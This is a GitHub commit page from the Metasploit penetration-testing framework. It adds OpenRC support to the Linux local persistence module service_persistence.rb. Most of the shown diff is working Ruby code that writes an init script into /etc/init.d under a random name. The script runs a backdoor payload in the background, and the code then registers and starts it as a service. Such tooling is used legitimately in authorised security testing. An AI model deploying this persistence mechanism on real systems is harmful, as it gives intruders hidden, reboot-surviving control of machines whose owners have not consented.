Skip to content

Commit 8d69720

Browse files
authored
Land rapid7#19480 update service_persistence for openrc
This updates exploits/linux/local/service_persistence.rb to work on systems that are running OpenRC
2 parents 745f61e + 811678a commit 8d69720

File tree

1 file changed

+46
-0
lines changed

1 file changed

+46
-0
lines changed

modules/exploits/linux/local/service_persistence.rb

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -59,6 +59,11 @@ def initialize(info = {})
5959
'BACKDOOR_PATH' => '/usr/local/bin'
6060
}
6161
],
62+
['openrc', 'DefaultOptions' =>
63+
{
64+
'BACKDOOR_PATH' => '/usr/local/bin'
65+
}
66+
],
6267
['systemd', 'DefaultOptions' =>
6368
{
6469
'BACKDOOR_PATH' => '/usr/local/bin'
@@ -118,6 +123,8 @@ def exploit
118123
system_v(path, file, target.opts[:runlevel], service_system_exists?('update-rc.d'))
119124
when 'Upstart'
120125
upstart(path, file, target.opts[:runlevel])
126+
when 'openrc'
127+
openrc(path, file)
121128
when 'systemd'
122129
systemd(path, file)
123130
when 'systemd user'
@@ -131,6 +138,10 @@ def exploit
131138
print_status('Utilizing Upstart')
132139
upstart(path, file, '2345')
133140
end
141+
if service_system_exists?('openrc')
142+
print_status('Utilizing openrc')
143+
openrc(path, file)
144+
end
134145
has_updatercd = service_system_exists?('update-rc.d')
135146
if has_updatercd || service_system_exists?('chkconfig') # centos 5
136147
print_status('Utilizing System_V')
@@ -397,4 +408,39 @@ def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
397408
cmd_exec("/etc/init.d/#{service_filename} start")
398409
end
399410
end
411+
412+
def openrc(backdoor_path, backdoor_file)
413+
# https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts
414+
# https://wiki.alpinelinux.org/wiki/OpenRC
415+
# https://github.com/OpenRC/openrc/blob/master/service-script-guide.md
416+
script = %{#!/sbin/openrc-run
417+
name=#{backdoor_file}
418+
command=/bin/sh
419+
command_args="#{backdoor_path}/#{backdoor_file}"
420+
pidfile="/run/${RC_SVCNAME}.pid"
421+
command_background="yes"
422+
}
423+
424+
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
425+
service_name = "/etc/init.d/#{service_filename}"
426+
vprint_status("Writing service: #{service_name}")
427+
begin
428+
upload_and_chmodx(service_name, script)
429+
rescue Rex::Post::Meterpreter::RequestError
430+
print_error("Writing '#{service_name}' to the target and or changing the file permissions failed, ensure that directory exists?")
431+
end
432+
433+
if !file_exist?(service_name)
434+
print_error('File not written, check permissions.')
435+
return
436+
end
437+
438+
if datastore['EnableService']
439+
vprint_status('Enabling service')
440+
cmd_exec("rc-update add '#{service_filename}'")
441+
end
442+
443+
vprint_status('Starting service')
444+
cmd_exec("'/etc/init.d/#{service_filename}' start")
445+
end
400446
end

0 commit comments

Comments
 (0)